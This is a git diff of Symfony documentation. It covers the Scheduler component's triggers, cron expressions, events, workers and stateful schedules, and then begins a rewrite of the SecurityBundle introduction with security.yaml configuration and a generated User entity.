+:class:`Symfony\\Component\\Scheduler\\Trigger\\ExcludeTimeTrigger` are decorators +and modify the behavior of the trigger they wrap. You can get the decorated +trigger as well as the decorators by calling the +:method:`Symfony\\Component\\Scheduler\\Trigger\\AbstractDecoratedTrigger::inner` +and :method:`Symfony\\Component\\Scheduler\\Trigger\\AbstractDecoratedTrigger::decorators` +methods:: + + $trigger = new ExcludeTimeTrigger(new JitterTrigger(CronExpressionTrigger::fromSpec('#midnight', new MyMessage())); + + $trigger->inner(); // CronExpressionTrigger + $trigger->decorators(); // [ExcludeTimeTrigger, JitterTrigger] + +Most of them can be created via the :class:`Symfony\\Component\\Scheduler\\RecurringMessage` +class, as shown in the following examples. + +Cron Expression Triggers +~~~~~~~~~~~~~~~~~~~~~~~~ + +Before using cron triggers, you have to install the following dependency: + +.. code-block:: terminal + + $ composer require dragonmantank/cron-expression + +Then, define the trigger date/time using the same syntax as the +`cron command-line utility`_:: + + RecurringMessage::cron('* * * * *', new Message()); + + // optionally you can define the timezone used by the cron expression + RecurringMessage::cron('* * * * *', new Message(), new \DateTimeZone('Africa/Malabo')); + +.. tip:: + + Check out the `crontab.guru website`_ if you need help to construct/understand + cron expressions. + +You can also use some special values that represent common cron expressions: + +* ``@yearly``, ``@annually`` - Run once a year, midnight, Jan. 1 - ``0 0 1 1 *`` +* ``@monthly`` - Run once a month, midnight, first of month - ``0 0 1 * *`` +* ``@weekly`` - Run once a week, midnight on Sun - ``0 0 * * 0`` +* ``@daily``, ``@midnight`` - Run once a day, midnight - ``0 0 * * *`` +* ``@hourly`` - Run once an hour, first minute - ``0 * * * *`` + +For example:: + + RecurringMessage::cron('@daily', new Message()); + +.. tip:: + + You can also define cron tasks using :ref:`the AsCronTask attribute <scheduler-attributes-cron-task>`. + +Hashed Cron Expressions +....................... + +If you have many triggers scheduled at same time (for example, at midnight, ``0 0 * * *``) +this will create a very long running list of schedules at that exact time. +This may cause an issue if a task has a memory leak. + +You can add a hash symbol (``#``) in expressions to generate random values. +Although the values are random, they are predictable and consistent because they +are generated based on the message. A message with string representation ``my task`` +and a defined frequency of ``# # * * *`` will have an idempotent frequency +of ``56 20 * * *`` (every day at 8:56pm). + +You can also use hash ranges (``#(x-y)``) to define the list of possible values +for that random part. For example, ``# #(0-7) * * *`` means daily, some time +between midnight and 7am. Using the ``#`` without a range creates a range of any +valid value for the field. ``# # # # #`` is short for ``#(0-59) #(0-23) #(1-28) +#(1-12) #(0-6)``. + +You can also use some special values that represent common hashed cron expressions: + +====================== ======================================================================== +Alias Converts to +====================== ======================================================================== +``#hourly`` ``# * * * *`` (at some minute every hour) +``#daily`` ``# # * * *`` (at some time every day) +``#weekly`` ``# # * * #`` (at some time every week) +``#weekly@midnight`` ``# #(0-2) * * #`` (at ``#midnight`` one day every week) +``#monthly`` ``# # # * *`` (at some time on some day, once per month) +``#monthly@midnight`` ``# #(0-2) # * *`` (at ``#midnight`` on some day, once per month) +``#annually`` ``# # # # *`` (at some time on some day, once per year) +``#annually@midnight`` ``# #(0-2) # # *`` (at ``#midnight`` on some day, once per year) +``#yearly`` ``# # # # *`` alias for ``#annually`` +``#yearly@midnight`` ``# #(0-2) # # *`` alias for ``#annually@midnight`` +``#midnight`` ``# #(0-2) * * *`` (at some time between midnight and 2:59am, every day) +====================== ======================================================================== + +For example:: + + RecurringMessage::cron('#midnight', new Message()); + +.. note:: + + The day of month range is ``1-28``, this is to account for February + which has a minimum of 28 days. + +Periodical Triggers +~~~~~~~~~~~~~~~~~~~ + +These triggers allows to configure the frequency using different data types +(``string``, ``integer``, ``DateInterval``). They also support the `relative formats`_ +defined by PHP datetime functions:: + + RecurringMessage::every('10 seconds', new Message()); + RecurringMessage::every('3 weeks', new Message()); + RecurringMessage::every('first Monday of next month', new Message()); + +.. note:: + + Comma-separated weekdays (e.g., ``'Monday, Thursday, Saturday'``) are not supported + by the ``every()`` method. For multiple weekdays, use cron expressions instead: + + .. code-block:: diff + + - RecurringMessage::every('Monday, Thursday, Saturday', new Message()); + + RecurringMessage::cron('5 12 * * 1,4,6', new Message()); + +.. tip:: + + You can also define periodic tasks using :ref:`the AsPeriodicTask attribute <scheduler-attributes-periodic-task>`. + +You can also define ``from`` and ``until`` times for your schedule:: + + // create a message every day at 13:00 + $from = new \DateTimeImmutable('13:00', new \DateTimeZone('Europe/Paris')); + RecurringMessage::every('1 day', new Message(), $from); + + // create a message every day until a specific date + $until = '2023-06-12'; + RecurringMessage::every('1 day', new Message(), null, $until); + + // combine from and until for more precise control + $from = new \DateTimeImmutable('2023-01-01 13:47', new \DateTimeZone('Europe/Paris')); + $until = '2023-06-12'; + RecurringMessage::every('first Monday of next month', new Message(), $from, $until); + +When starting the scheduler, the message isn't sent to the messenger immediately. +If you don't set a ``from`` parameter, the first frequency period starts from the +moment the scheduler runs. For example, if you start it at 8:33 and the message +is scheduled hourly, it will run at 9:33, 10:33, 11:33, etc. + +Custom Triggers +~~~~~~~~~~~~~~~ + +Custom triggers allow to configure any frequency dynamically. They are created +as services that implement :class:`Symfony\\Component\\Scheduler\\Trigger\\TriggerInterface`. + +For example, if you want to send customer reports daily except for holiday periods:: + + // src/Scheduler/Trigger/NewUserWelcomeEmailHandler.php + namespace App\Scheduler\Trigger; + + class ExcludeHolidaysTrigger implements TriggerInterface + { + public function __construct(private TriggerInterface $inner) + { + } + + // use this method to give a nice displayable name to + // identify your trigger (it eases debugging) + public function __toString(): string + { + return $this->inner.' (except holidays)'; + } + + public function getNextRunDate(\DateTimeImmutable $run): ?\DateTimeImmutable + { + if (!$nextRun = $this->inner->getNextRunDate($run)) { + return null; + } + + // loop until you get the next run date that is not a holiday + while ($this->isHoliday($nextRun)) { + $nextRun = $this->inner->getNextRunDate($nextRun); + } + + return $nextRun; + } + + private function isHoliday(\DateTimeImmutable $timestamp): bool + { + // add some logic to determine if the given $timestamp is a holiday + // return true if holiday, false otherwise + } + } + +Then, define your recurring message:: + + RecurringMessage::trigger( + new ExcludeHolidaysTrigger( + CronExpressionTrigger::fromSpec('@daily'), + ), + new SendDailySalesReports('...'), + ); + +Finally, the recurring messages has to be attached to a schedule:: + + // src/Scheduler/SaleTaskProvider.php + namespace App\Scheduler; + + #[AsSchedule('uptoyou')] + class SaleTaskProvider implements ScheduleProviderInterface + { + public function getSchedule(): Schedule + { + return $this->schedule ??= (new Schedule()) + ->with( + RecurringMessage::trigger( + new ExcludeHolidaysTrigger( + CronExpressionTrigger::fromSpec('@daily'), + ), + new SendDailySalesReports() + ), + RecurringMessage::cron('3 8 * * 1', new CleanUpOldSalesReport()) + ); + } + } + +So, this ``RecurringMessage`` will encompass both the trigger, defining the +generation frequency of the message, and the message itself, the one to be +processed by a specific handler. + +But what is interesting to know is that it also provides you with the ability to +generate your message(s) dynamically. + +A Dynamic Vision for the Messages Generated +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +This proves particularly useful when the message depends on data stored in +databases or third-party services. + +Following the previous example of reports generation: they depend on customer requests. +Depending on the specific demands, any number of reports may need to be generated +at a defined frequency. For these dynamic scenarios, it gives you the capability +to dynamically define our message(s) instead of statically. This is achieved by +defining a :class:`Symfony\\Component\\Scheduler\\Trigger\\CallbackMessageProvider`. + +Essentially, this means you can dynamically, at runtime, define your message(s) +through a callback that gets executed each time the scheduler transport +checks for messages to be generated:: + + // src/Scheduler/SaleTaskProvider.php + namespace App\Scheduler; + + #[AsSchedule('uptoyou')] + class SaleTaskProvider implements ScheduleProviderInterface + { + public function getSchedule(): Schedule + { + return $this->schedule ??= (new Schedule()) + ->with( + RecurringMessage::trigger( + new ExcludeHolidaysTrigger( + CronExpressionTrigger::fromSpec('@daily'), + ), + // instead of being static as in the previous example + new CallbackMessageProvider([$this, 'generateReports'], 'foo') + ), + RecurringMessage::cron('3 8 * * 1', new CleanUpOldSalesReport()) + ); + } + + public function generateReports(MessageContext $context) + { + // ... + yield new SendDailySalesReports(); + yield new ReportSomethingReportSomethingElse(); + } + } + +Exploring Alternatives for Crafting your Recurring Messages +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +There is also another way to build a ``RecurringMessage``, and this can be done +by adding one of these attributes to a service or a command: +:class:`Symfony\\Component\\Scheduler\\Attribute\\AsPeriodicTask` and +:class:`Symfony\\Component\\Scheduler\\Attribute\\AsCronTask`. + +For both of these attributes, you have the ability to define the schedule to +use via the ``schedule`` option. By default, the ``default`` named schedule will +be used. Also, by default, the ``__invoke`` method of your service will be called +but, it's also possible to specify the method to call via the ``method`` option +and you can define arguments via ``arguments`` option if necessary. + +.. _scheduler-attributes-cron-task: + +``AsCronTask`` Example +...................... + +This is the most basic way to define a cron trigger with this attribute:: + + // src/Scheduler/Task/SendDailySalesReports.php + namespace App\Scheduler\Task; + + use Symfony\Component\Scheduler\Attribute\AsCronTask; + + #[AsCronTask('0 0 * * *')] + class SendDailySalesReports + { + public function __invoke() + { + // ... + } + } + +The attribute takes more parameters to customize the trigger:: + + // adds randomly up to 6 seconds to the trigger time to avoid load spikes + #[AsCronTask('0 0 * * *', jitter: 6)] + + // defines the method name to call instead as well as the arguments to pass to it + #[AsCronTask('0 0 * * *', method: 'sendEmail', arguments: ['email' => 'admin@example.com'])] + + // defines the timezone to use + #[AsCronTask('0 0 * * *', timezone: 'Africa/Malabo')] + + // when applying this attribute to a Symfony console command, you can pass + // arguments and options to the command using the 'arguments' option: + #[AsCronTask('0 0 * * *', arguments: 'some_argument --some-option --another-option=some_value')] + #[AsCommand(name: 'app:my-command')] + class MyCommand + +.. _scheduler-attributes-periodic-task: + +``AsPeriodicTask`` Example +.......................... + +This is the most basic way to define a periodic trigger with this attribute:: + + // src/Scheduler/Task/SendDailySalesReports.php + namespace App\Scheduler\Task; + + use Symfony\Component\Scheduler\Attribute\AsPeriodicTask; + + #[AsPeriodicTask(frequency: '1 day', from: '2022-01-01', until: '2023-06-12')] + class SendDailySalesReports + { + public function __invoke() + { + // ... + } + } + +.. note:: + + The ``from`` and ``until`` options are optional. If not defined, the task + will be executed indefinitely. + +The ``#[AsPeriodicTask]`` attribute takes many parameters to customize the trigger:: + + // the frequency can be defined as an integer representing the number of seconds + #[AsPeriodicTask(frequency: 86400)] + + // adds randomly up to 6 seconds to the trigger time to avoid load spikes + #[AsPeriodicTask(frequency: '1 day', jitter: 6)] + + // defines the method name to call instead as well as the arguments to pass to it + #[AsPeriodicTask(frequency: '1 day', method: 'sendEmail', arguments: ['email' => 'admin@symfony.com'])] + class SendDailySalesReports + { + public function sendEmail(string $email): void + { + // ... + } + } + + // when applying this attribute to a Symfony console command, you can pass + // arguments and options to the command using the 'arguments' option: + #[AsPeriodicTask(frequency: '1 day', arguments: 'some_argument --some-option --another-option=some_value')] + #[AsCommand(name: 'app:my-command')] + class MyCommand + +Managing Scheduled Messages +--------------------------- + +Modifying Scheduled Messages in Real-Time +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +While planning a schedule in advance is beneficial, it is rare for a schedule to +remain static over time. After a certain period, some ``RecurringMessages`` may +become obsolete, while others may need to be integrated into the planning. + +As a general practice, to alleviate a heavy workload, the recurring messages in +the schedules are stored in memory to avoid recalculation each time the scheduler +transport generates messages. However, this approach can have a flip side. + +Following the same report generation example as above, the company might do some +promotions during specific periods (and they need to be communicated repetitively +throughout a given timeframe) or the deletion of old reports needs to be halted +under certain circumstances. + +This is why the ``Scheduler`` incorporates a mechanism to dynamically modify the +schedule and consider all changes in real-time. + +Strategies for Adding, Removing, and Modifying Entries within the Schedule +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +The schedule provides you with the ability to :method:`Symfony\\Component\\Scheduler\Schedule::add`, +:method:`Symfony\\Component\\Scheduler\Schedule::remove`, or :method:`Symfony\\Component\\Scheduler\Schedule::clear` +all associated recurring messages, resulting in the reset and recalculation of +the in-memory stack of recurring messages. + +For instance, for various reasons, if there's no need to generate a report, a +callback can be employed to conditionally skip generating of some or all reports. + +However, if the intention is to completely remove a recurring message and its recurrence, +the :class:`Symfony\\Component\\Scheduler\Schedule` offers a :method:`Symfony\\Component\\Scheduler\Schedule::remove` +or a :method:`Symfony\\Component\\Scheduler\Schedule::removeById` method. This can +be particularly useful in your case, especially if you need to halt the generation +of the recurring message, which involves deleting old reports. + +In your handler, you can check a condition and, if affirmative, access the +:class:`Symfony\\Component\\Scheduler\Schedule` and invoke this method:: + + // src/Scheduler/SaleTaskProvider.php + namespace App\Scheduler; + + #[AsSchedule('uptoyou')] + class SaleTaskProvider implements ScheduleProviderInterface + { + public function getSchedule(): Schedule + { + $this->removeOldReports = RecurringMessage::cron('3 8 * * 1', new CleanUpOldSalesReport()); + + return $this->schedule ??= (new Schedule()) + ->with( + // ... + $this->removeOldReports; + ); + } + + // ... + + public function removeCleanUpMessage() + { + $this->getSchedule()->getSchedule()->remove($this->removeOldReports); + } + } + + // src/Scheduler/Handler/CleanUpOldSalesReportHandler.php + namespace App\Scheduler\Handler; + + #[AsMessageHandler] + class CleanUpOldSalesReportHandler + { + public function __invoke(CleanUpOldSalesReport $cleanUpOldSalesReport): void + { + // do some work here... + + if ($isFinished) { + $this->mySchedule->removeCleanUpMessage(); + } + } + } + +Nevertheless, this system may not be the most suitable for all scenarios. Also, +the handler should ideally be designed to process the type of message it is +intended for, without making decisions about adding or removing a new recurring +message. + +For instance, if, due to an external event, there is a need to add a recurrent +message aimed at deleting reports, it can be challenging to achieve within the +handler. This is because the handler will no longer be called or executed once +there are no more messages of that type. + +However, the Scheduler also features an event system that is integrated into a +Symfony full-stack application by grafting onto Symfony Messenger events. These +events are dispatched through a listener, providing a convenient means to respond. + +Managing Scheduled Messages via Events +-------------------------------------- + +A Strategic Event Handling +~~~~~~~~~~~~~~~~~~~~~~~~~~ + +The goal is to provide flexibility in deciding when to take action while +preserving decoupling. Three primary event types have been introduced types + +* ``PRE_RUN_EVENT`` +* ``POST_RUN_EVENT`` +* ``FAILURE_EVENT`` + +Access to the schedule is a crucial feature, allowing effortless addition or +removal of message types. Additionally, it will be possible to access the +currently processed message and its message context. + +In consideration of our scenario, you can listen to the ``PRE_RUN_EVENT`` and +check if a certain condition is met. For instance, you might decide to add a +recurring message for cleaning old reports again, with the same or different +configurations, or add any other recurring message(s). + +If you had chosen to handle the deletion of the recurring message, you could +have done so in a listener for this event. Importantly, it reveals a specific +feature :method:`Symfony\\Component\\Scheduler\\Event\\PreRunEvent::shouldCancel` +that allows you to prevent the message of the deleted recurring message from +being transferred and processed by its handler:: + + // src/Scheduler/SaleTaskProvider.php + namespace App\Scheduler; + + #[AsSchedule('uptoyou')] + class SaleTaskProvider implements ScheduleProviderInterface + { + public function __construct(private EventDispatcherInterface $dispatcher) + { + } + + public function getSchedule(): Schedule + { + $this->removeOldReports = RecurringMessage::cron('3 8 * * 1', new CleanUpOldSalesReport()); + + return $this->schedule ??= (new Schedule($this->dispatcher)) + ->with( + // ... + ) + ->before(function(PreRunEvent $event) { + $message = $event->getMessage(); + $messageContext = $event->getMessageContext(); + + // can access the schedule + $schedule = $event->getSchedule()->getSchedule(); + + // can target directly the RecurringMessage being processed + $schedule->removeById($messageContext->id); + + // allow to call the ShouldCancel() and avoid the message to be handled + $event->shouldCancel(true); + }) + ->after(function(PostRunEvent $event) { + // Do what you want + }) + ->onFailure(function(FailureEvent $event) { + // Do what you want + }); + } + } + +Scheduler Events +~~~~~~~~~~~~~~~~ + +PreRunEvent +........... + +**Event Class**: :class:`Symfony\\Component\\Scheduler\\Event\\PreRunEvent` + +``PreRunEvent`` allows to modify the :class:`Symfony\\Component\\Scheduler\\Schedule` +or cancel a message before it's consumed:: + + use Symfony\Component\EventDispatcher\EventSubscriberInterface; + use Symfony\Component\Scheduler\Event\PreRunEvent; + + public function onMessage(PreRunEvent $event): void + { + $schedule = $event->getSchedule(); + $context = $event->getMessageContext(); + $message = $event->getMessage(); + + // do something with the schedule, context or message + + // and/or cancel message + $event->shouldCancel(true); + } + +Execute this command to find out which listeners are registered for this event +and their priorities: + +.. code-block:: terminal + + $ php bin/console debug:event-dispatcher "Symfony\Component\Scheduler\Event\PreRunEvent" + +PostRunEvent +............ + +**Event Class**: :class:`Symfony\\Component\\Scheduler\\Event\\PostRunEvent` + +``PostRunEvent`` allows to modify the :class:`Symfony\\Component\\Scheduler\\Schedule` +after a message is consumed:: + + use Symfony\Component\EventDispatcher\EventSubscriberInterface; + use Symfony\Component\Scheduler\Event\PostRunEvent; + + public function onMessage(PostRunEvent $event): void + { + $schedule = $event->getSchedule(); + $context = $event->getMessageContext(); + $message = $event->getMessage(); + $result = $event->getResult(); + + // do something with the schedule, context, message or result + } + +.. versionadded:: 7.3 + + The ``getResult()`` method was introduced in Symfony 7.3. + +Execute this command to find out which listeners are registered for this event +and their priorities: + +.. code-block:: terminal + + $ php bin/console debug:event-dispatcher "Symfony\Component\Scheduler\Event\PostRunEvent" + +FailureEvent +............ + +**Event Class**: :class:`Symfony\\Component\\Scheduler\\Event\\FailureEvent` + +``FailureEvent`` allows to modify the :class:`Symfony\\Component\\Scheduler\\Schedule` +when a message consumption throws an exception:: + + use Symfony\Component\EventDispatcher\EventSubscriberInterface; + use Symfony\Component\Scheduler\Event\FailureEvent; + + public function onMessage(FailureEvent $event): void + { + $schedule = $event->getSchedule(); + $context = $event->getMessageContext(); + $message = $event->getMessage(); + + $error = $event->getError(); + + // do something with the schedule, context, message or error (logging, ...) + + // and/or ignore failure event + $event->shouldIgnore(true); + } + +Execute this command to find out which listeners are registered for this event +and their priorities: + +.. code-block:: terminal + + $ php bin/console debug:event-dispatcher "Symfony\Component\Scheduler\Event\FailureEvent" + +.. _consuming-messages-running-the-worker: + +Consuming Messages +------------------ + +The Scheduler component offers two ways to consume messages, depending on your +needs: using the ``messenger:consume`` command or creating a worker programmatically. +The first solution is the recommended one when using the Scheduler component in +the context of a full stack Symfony application, the second one is more suitable +when using the Scheduler component as a standalone component. + +Running a Worker +~~~~~~~~~~~~~~~~ + +After defining and attaching your recurring messages to a schedule, you'll need +a mechanism to generate and consume the messages according to their defined frequencies. +To do that, the Scheduler component uses the ``messenger:consume`` command from +the Messenger component: + +.. code-block:: terminal + + $ php bin/console messenger:consume scheduler_nameofyourschedule + + # use -vv if you need details about what's happening + $ php bin/console messenger:consume scheduler_nameofyourschedule -vv + +.. image:: /_images/components/scheduler/generate_consume.png + :alt: Symfony Scheduler - generate and consume + +.. tip:: + + Depending on your deployment scenario, you may prefer automating the execution of + the Messenger worker process using tools like cron, Supervisor, or systemd. + This ensures workers are running continuously. For more details, refer to the + `Deploying to Production`_ section of the Messenger component documentation. + +Creating a Consumer Programmatically +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +An alternative to the previous solution is to create and call a worker that +will consume the messages. The component comes with a ready-to-use worker +named :class:`Symfony\\Component\\Scheduler\\Scheduler` that you can use in your +code:: + + use Symfony\Component\Scheduler\Scheduler; + + $schedule = (new Schedule()) + ->with( + RecurringMessage::trigger( + new ExcludeHolidaysTrigger( + CronExpressionTrigger::fromSpec('@daily'), + ), + new SendDailySalesReports() + ), + ); + + $scheduler = new Scheduler(handlers: [ + SendDailySalesReports::class => new SendDailySalesReportsHandler(), + // add more handlers if you have more message types + ], schedules: [ + $schedule, + // the scheduler can take as many schedules as you need + ]); + + // finally, run the scheduler once it's ready + $scheduler->run(); + +.. note:: + + The :class:`Symfony\\Component\\Scheduler\\Scheduler` may be used + when using the Scheduler component as a standalone component. If + you are using it in the framework context, it is highly recommended to + use the ``messenger:consume`` command as explained in the previous + section. + +Modifying the Schedule at Runtime +--------------------------------- + +When a recurring message is added to or removed from the schedule, +the scheduler automatically restarts and recalculates the internal trigger heap. +This enables dynamic control of scheduled tasks at runtime:: + + // src/Scheduler/DynamicScheduleProvider.php + namespace App\Scheduler; + + #[AsSchedule('uptoyou')] + class DynamicScheduleProvider implements ScheduleProviderInterface + { + private ?Schedule $schedule = null; + + public function getSchedule(): Schedule + { + return $this->schedule ??= (new Schedule()) + ->with( + // ... + ) + ; + } + + public function clearAndAddMessages(): void + { + // clear the current schedule and add new recurring messages + $this->schedule?->clear(); + $this->schedule?->add( + RecurringMessage::cron('@hourly', new DoActionMessage()), + RecurringMessage::cron('@daily', new DoAnotherActionMessage()), + ); + } + } + +Debugging the Schedule +---------------------- + +The ``debug:scheduler`` command provides a list of schedules along with their +recurring messages. You can narrow down the list to a specific schedule: + +.. code-block:: terminal + + $ php bin/console debug:scheduler + + Scheduler + ========= + + default + ------- + + ------------------- ------------------------- ---------------------- + Trigger Provider Next Run + ------------------- ------------------------- ---------------------- + every 2 days App\Messenger\Foo(0:17..) Sun, 03 Dec 2023 ... + 15 4 */3 * * App\Messenger\Foo(0:17..) Mon, 18 Dec 2023 ... + -------------------- -------------------------- --------------------- + + # you can also specify a date to use for the next run date: + $ php bin/console debug:scheduler --date=2025-10-18 + + # you can also specify a date to use for the next run date for a schedule: + $ php bin/console debug:scheduler name_of_schedule --date=2025-10-18 + + # use the --all option to also display the terminated recurring messages + $ php bin/console debug:scheduler --all + +Efficient management with Symfony Scheduler +------------------------------------------- + +When a worker is restarted or undergoes shutdown for a period, the Scheduler transport won't be able to generate the messages (because they are created on-the-fly by the scheduler transport). +This implies that any messages scheduled to be sent during the worker's inactive period are not sent, and the Scheduler will lose track of the last processed message. +Upon restart, it will recalculate the messages to be generated from that point onward. + +To illustrate, consider a recurring message set to be sent every 3 days. +If a worker is restarted on day 2, the message will be sent 3 days from the restart, on day 5. + +While this behavior may not necessarily pose a problem, there is a possibility that it may not align with what you are seeking. + +That's why the scheduler allows to remember the last execution date of a message +via the ``stateful`` option (and the :doc:`Cache component </components/cache>`). +This allows the system to retain the state of the schedule, ensuring that when a +worker is restarted, it resumes from the point it left off:: + + // src/Scheduler/SaleTaskProvider.php + namespace App\Scheduler; + + #[AsSchedule('uptoyou')] + class SaleTaskProvider implements ScheduleProviderInterface + { + public function getSchedule(): Schedule + { + $this->removeOldReports = RecurringMessage::cron('3 8 * * 1', new CleanUpOldSalesReport()); + + return $this->schedule ??= (new Schedule()) + ->with( + // ... + ) + ->stateful($this->cache) + } + } + +With the ``stateful`` option, all missed messages will be handled. If you need to +handle a message only once, you can use the ``processOnlyLastMissedRun`` option:: + + // src/Scheduler/SaleTaskProvider.php + namespace App\Scheduler; + + #[AsSchedule('uptoyou')] + class SaleTaskProvider implements ScheduleProviderInterface + { + public function getSchedule(): Schedule + { + $this->removeOldReports = RecurringMessage::cron('3 8 * * 1', new CleanUpOldSalesReport()); + + return $this->schedule ??= (new Schedule()) + ->with( + // ... + ) + ->stateful($this->cache) + ->processOnlyLastMissedRun(true) + } + } + +.. versionadded:: 7.2 + + The ``processOnlyLastMissedRun`` option was introduced in Symfony 7.2. + +To scale your schedules more effectively, you can use multiple workers. In such +cases, a good practice is to add a :doc:`lock </components/lock>` to prevent the +same task more than once:: + + // src/Scheduler/SaleTaskProvider.php + namespace App\Scheduler; + + #[AsSchedule('uptoyou')] + class SaleTaskProvider implements ScheduleProviderInterface + { + public function getSchedule(): Schedule + { + $this->removeOldReports = RecurringMessage::cron('3 8 * * 1', new CleanUpOldSalesReport()); + + return $this->schedule ??= (new Schedule()) + ->with( + // ... + ) + ->lock($this->lockFactory->createLock('my-lock')); + } + } + +.. tip:: + + The processing time of a message matters. If it takes a long time, all subsequent + message processing may be delayed. So, it's a good practice to anticipate this + and plan for frequencies greater than the processing time of a message. + +Additionally, for better scaling of your schedules, you have the option to wrap +your message in a :class:`Symfony\\Component\\Messenger\\Message\\RedispatchMessage`. +This allows you to specify a transport on which your message will be redispatched +before being further redispatched to its corresponding handler:: + + // src/Scheduler/SaleTaskProvider.php + namespace App\Scheduler; + + #[AsSchedule('uptoyou')] + class SaleTaskProvider implements ScheduleProviderInterface + { + public function getSchedule(): Schedule + { + return $this->schedule ??= (new Schedule()) + ->with( + RecurringMessage::every('5 seconds', new RedispatchMessage(new Message(), 'async')) + ); + } + } + +When using the ``RedispatchMessage``, Symfony will attach a +:class:`Symfony\\Component\\Scheduler\\Messenger\\ScheduledStamp` to the message, +helping you identify those messages when needed. + +.. _`Deploying to Production`: https://symfony.com/doc/current/messenger.html#deploying-to-production +.. _`Memoizing`: https://en.wikipedia.org/wiki/Memoization +.. _`cron command-line utility`: https://en.wikipedia.org/wiki/Cron +.. _`crontab.guru website`: https://crontab.guru/ +.. _`relative formats`: https://www.php.net/manual/en/datetime.formats.php#datetime.formats.relative +.. _`Scheduler quick-start screencast`: https://symfonycasts.com/screencast/mailtrap/bonus-symfony-scheduler diff --git a/security.rst b/security.rst index 17940135f73..bc394fd95b8 100644 --- a/security.rst +++ b/security.rst @@ -1,160 +1,229 @@ -.. index:: - single: Security - Security ======== -.. admonition:: Screencast - :class: screencast +Symfony provides many tools to secure your application. Some HTTP-related +security tools, like :doc:`secure session cookies </session>` and +:doc:`CSRF protection </security/csrf>` are provided by default. The +SecurityBundle, which you will learn about in this guide, provides all +authentication and authorization features needed to secure your +application. - Do you prefer video tutorials? Check out the `Symfony Security screencast series`_. +.. _security-installation: -Symfony's security system is incredibly powerful, but it can also be confusing -to set up. Don't worry! In this article, you'll learn how to set up your app's -security system step-by-step: +To get started, install the SecurityBundle: -#. :ref:`Installing security support <security-installation>`; +.. code-block:: terminal -#. :ref:`Create your User Class <create-user-class>`; + $ composer require symfony/security-bundle -#. :ref:`Authentication & Firewalls <security-yaml-firewalls>`; +If you have :ref:`Symfony Flex <symfony-flex>` installed, this also +creates a ``security.yaml`` configuration file for you: + +.. code-block:: yaml + + # config/packages/security.yaml + security: + # https://symfony.com/doc/current/security.html#registering-the-user-hashing-passwords + password_hashers: + Symfony\Component\Security\Core\User\PasswordAuthenticatedUserInterface: 'auto' + # https://symfony.com/doc/current/security.html#where-do-users-come-from-user-providers + providers: + users_in_memory: { memory: null } + firewalls: + dev: + pattern: ^/(_(profiler|wdt)|css|images|js)/ + security: false + main: + lazy: true + provider: users_in_memory + + # activate different ways to authenticate + # https://symfony.com/doc/current/security.html#firewalls-authentication + + # https://symfony.com/doc/current/security/impersonating_user.html + # switch_user: true + + # An easy way to control access for large sections of your site + # Note: Only the *first* access control that matches will be used + access_control: + # - { path: ^/admin, roles: ROLE_ADMIN } + # - { path: ^/profile, roles: ROLE_USER } + +That's a lot of config! In the next sections, the three main elements are +discussed: + +`The User`_ (``providers``) + Any secured section of your application needs some concept of + a user. The user provider loads users from any storage (e.g. the + database) based on a "user identifier" (e.g. the user's email address); + +`The Firewall`_ & `Authenticating Users`_ (``firewalls``) + The firewall is the core of securing your application. Every request + within the firewall is checked if it needs an authenticated user. The + firewall also takes care of authenticating this user (e.g. using a + login form); + +`Access Control (Authorization)`_ (``access_control``) + Using access control and the authorization checker, you control the + required permissions to perform a specific action or visit a specific + URL. -#. :ref:`Denying access to your app (authorization) <security-authorization>`; +.. _create-user-class: +.. _a-create-your-user-class: -#. :ref:`Fetching the current User object <retrieving-the-user-object>`. +The User +-------- -A few other important topics are discussed after. +Permissions in Symfony are always linked to a user object. If you need to +secure (parts of) your application, you need to create a user class. This +is a class that implements :class:`Symfony\\Component\\Security\\Core\\User\\UserInterface`. +This is often a Doctrine entity, but you can also use a dedicated +Security user class. -.. _security-installation: +The easiest way to generate a user class is using the ``make:user`` command +from the `MakerBundle`_: -1) Installation ---------------- +.. code-block:: terminal -In applications using :ref:`Symfony Flex <symfony-flex>`, run this command to -install the security feature before using it: + $ php bin/console make:user + The name of the security user class (e.g. User) [User]: + > User -.. code-block:: terminal + Do you want to store user data in the database (via Doctrine)? (yes/no) [yes]: + > yes - $ composer require symfony/security-bundle + Enter a property name that will be the unique "display" name for the user (e.g. email, username, uuid) [email]: + > email + Will this app need to hash/check user passwords? Choose No if passwords are not needed or will be checked/hashed by some other system (e.g. a single sign-on server). -.. tip:: + Does this app need to hash/check user passwords? (yes/no) [yes]: + > yes - A :doc:`new experimental Security </security/experimental_authenticators>` - was introduced in Symfony 5.1, which will eventually replace security in - Symfony 6.0. This system is almost fully backwards compatible with the - current Symfony security, add this line to your security configuration to start - using it: + created: src/Entity/User.php + created: src/Repository/UserRepository.php + updated: src/Entity/User.php + updated: config/packages/security.yaml - .. configuration-block:: +.. code-block:: php - .. code-block:: yaml + // src/Entity/User.php + namespace App\Entity; - # config/packages/security.yaml - security: - enable_authenticator_manager: true - # ... + use App\Repository\UserRepository; + use Doctrine\ORM\Mapping as ORM; + use Symfony\Component\Security\Core\User\PasswordAuthenticatedUserInterface; + use Symfony\Component\Security\Core\User\UserInterface; - .. code-block:: xml + #[ORM\Entity(repositoryClass: UserRepository::class)] + class User implements UserInterface, PasswordAuthenticatedUserInterface + { + #[ORM\Id] + #[ORM\GeneratedValue] + #[ORM\Column(type: 'integer')] + private int $id; - <!-- config/packages/security.xml --> - <?xml version="1.0" encoding="UTF-8"?> - <srv:container xmlns="http://symfony.com/schema/dic/security" - xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" - xmlns:srv="http://symfony.com/schema/dic/services" - xsi:schemaLocation="http://symfony.com/schema/dic/services - https://symfony.com/schema/dic/services/services-1.0.xsd - http://symfony.com/schema/dic/security - https://symfony.com/schema/dic/security/security-1.0.xsd"> + #[ORM\Column(type: 'string', length: 180, unique: true)] + private ?string $email; - <config enable-authenticator-manager="true"> - <!-- ... --> - </config> - </srv:container> + #[ORM\Column(type: 'json')] + private array $roles = []; - .. code-block:: php + #[ORM\Column(type: 'string')] + private string $password; - // config/packages/security.php - $container->loadFromExtension('security', [ - 'enable_authenticator_manager' => true, - // ... - ]); + 